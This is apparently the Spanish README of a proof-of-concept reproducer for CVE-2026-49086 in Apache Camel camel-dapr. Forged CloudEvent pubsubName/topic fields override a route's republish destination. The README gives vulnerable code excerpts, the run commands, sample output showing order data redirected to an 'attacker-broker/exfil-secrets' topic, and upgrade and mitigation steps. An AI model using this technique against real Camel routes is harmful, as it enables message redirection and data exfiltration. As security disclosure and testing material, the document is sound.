
Reproductor de PoC para CVE-2026-49086 que demuestra una anulación del encabezado de enrutamiento por confused deputy en Apache Camel camel-dapr, lo que permite la redirección de mensajes y la exfiltración de datos mediante campos CloudEvent no confiables.
Este proyecto demuestra una falla de anulación de encabezado de enrutamiento (confused-deputy) en el componente camel-dapr
de Apache Camel, registrada como CVE-2026-49086.
El consumidor pub/sub de Dapr (DaprPubSubConsumer) copia los campos del CloudEvent entrante (no confiable) a los
encabezados de mensaje de Exchange. Dos de ellos — pubsubName y topic — son encabezados de enrutamiento en dirección del productor
(CamelDaprPubSubName / CamelDaprTopic). Cuando la misma ruta publica posteriormente con un productor dapr:pubSub,
DaprConfigurationOptionsProxy . Así, el sobre
entrante, que un remitente de mensajes no confiable controla, anula silenciosamente el destino al que la ruta vuelve a publicar:
// DaprPubSubConsumer.createServiceBusExchange (afectado 4.18.2) — sobre no confiable -> encabezados de enrutamiento
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (afectado 4.18.2) — el encabezado GANA sobre la configuración del endpoint
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // configuración del endpoint (p. ej. audit-broker/audit-log)
: exchangeFn.apply(exchange); // el encabezado copiado del CloudEvent entrante
En una ruta que consume de un topic y vuelve a publicar a otro (un patrón común de auditoría/reenvío/fan-out),
un actor que pueda publicar en el topic suscrito establece el pubsubName/topic del CloudEvent y redirige
el mensaje republicado a un componente + topic de Dapr pub/sub arbitrario — exfiltrando la carga útil a un
broker accesible por el atacante, o evadiendo el enrutamiento/ACLs previstos. Esto es un confused-deputy: la aplicación
vuelve a publicar con sus propias credenciales de Dapr a un destino elegido por el atacante.
Este PoC demuestra el impacto como redirección de mensajes / exfiltración de datos (CWE-441, derivada de CWE-20).
| Propiedad | Valor |
|---|---|
| Componente | camel-dapr |
| Clase afectada | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (establece los encabezados PUBSUB_NAME/TOPIC a partir del CloudEvent entrante) |
| CWE | CWE-20 (Validación de entrada incorrecta) / CWE-441 (Proxy no intencionado / Confused Deputy) |
| Impacto | Redirigir el mensaje republicado a un componente + topic de Dapr pub/sub arbitrario (exfiltración / evasión de enrutamiento y ACLs) |
| Precondiciones | Una ruta consume de un topic dapr:pubSub y vuelve a publicar mediante un productor dapr:pubSub; el atacante puede publicar en el topic suscrito |
| Versiones afectadas | 4.12.0 hasta 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Crédito | Leon Zlobecki |
La corrección impide que el consumidor establezca los dos encabezados de enrutamiento (
CamelDaprPubSubName/CamelDaprTopic); los demás encabezados de metadatos del CloudEvent no cambian. Así, el productor usa siempre el pub/sub + topic configurado en el endpoint. (También se añadióDaprHeaderFilterStrategypara la coherencia del catálogo, pero el cambio del encabezado de enrutamiento es la corrección efectiva.)
La vulnerabilidad está enteramente en Camel — el consumidor copia CloudEvent.pubsubName/topic a los encabezados
de enrutamiento, y el productor prefiere dichos encabezados. El sidecar de Dapr es solo transporte. Este reproductor inyecta
clientes simulados del SDK de Dapr (client=#mockClient, previewClient=#mockPreview) para que los reales
DaprPubSubConsumer y DaprPubSubHandler se ejecuten sin cambios y sin sidecar: el cliente preview simulado captura el
listener de suscripción, y el cliente simulado registra el destino de publicación. El controlador atacante entrega entonces un CloudEvent
forjado al listener capturado — exactamente lo que dispararía un remitente capaz de publicar en el topic suscrito.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
El autor pretende que cada pedido se replique al destino fijo audit-broker/audit-log. Pero como el consumidor
copia el pubsubName/topic del sobre entrante a los encabezados de enrutamiento, el productor de auditoría publica en
lo que indique el sobre — nunca en el flujo de auditoría configurado.
Todo se ejecuta en un único contenedor autocontenido.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitivo) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # único servicio autocontenido
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (proxies dinámicos; sin sidecar)
│ ├── PublishRecorder.java # registra dónde publicó realmente el productor
│ ├── SubscriptionRegistry.java # captura el listener de suscripción del consumidor
│ ├── VictimRoutes.java # suscripción dapr:pubSub -> publicación dapr:pubSub (auditoría)
│ └── ExploitController.java # atacante: entrega CloudEvents forjados; compara el destino de publicación
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr: anulación de encabezado de enrutamiento del consumidor (confused deputy) ===
Intención de la ruta: replicar cada pedido a un flujo de auditoría FIJO
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Evento de pedido ordinario (sobre pubsub=orders-broker topic=orders)
copia de auditoría realmente publicada en: orders-broker / orders
-> ya NO es el audit-broker/audit-log configurado: los campos de enrutamiento del sobre se filtraron al productor.
2) Evento de pedido malicioso (sobre forjado: pubsub=attacker-broker topic=exfil-secrets)
copia de auditoría realmente publicada en: attacker-broker / exfil-secrets
datos de pedido filtrados: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> DEMOSTRADO: el pubsubName/topic del CloudEvent entrante anuló el destino de auditoría
>>> codificado en la ruta, por lo que un atacante que pueda publicar en 'orders' redirige la copia del pedido a
>>> un componente + topic de pub/sub arbitrario (exfiltración de datos / evasión de enrutamiento): true
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Tras la corrección, el consumidor ya no establece
CamelDaprPubSubName / CamelDaprTopic, por lo que un productor dapr:pubSub situado aguas abajo de un consumidor dapr:pubSub usa
el componente y topic de pub/sub configurados en su endpoint.
Hasta actualizar, elimine los encabezados de enrutamiento entre el consumidor y cualquier productor dapr:pubSub de la ruta (por
ejemplo removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), y establezca el pub/sub + topic de republicación desde una
fuente confiable.
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.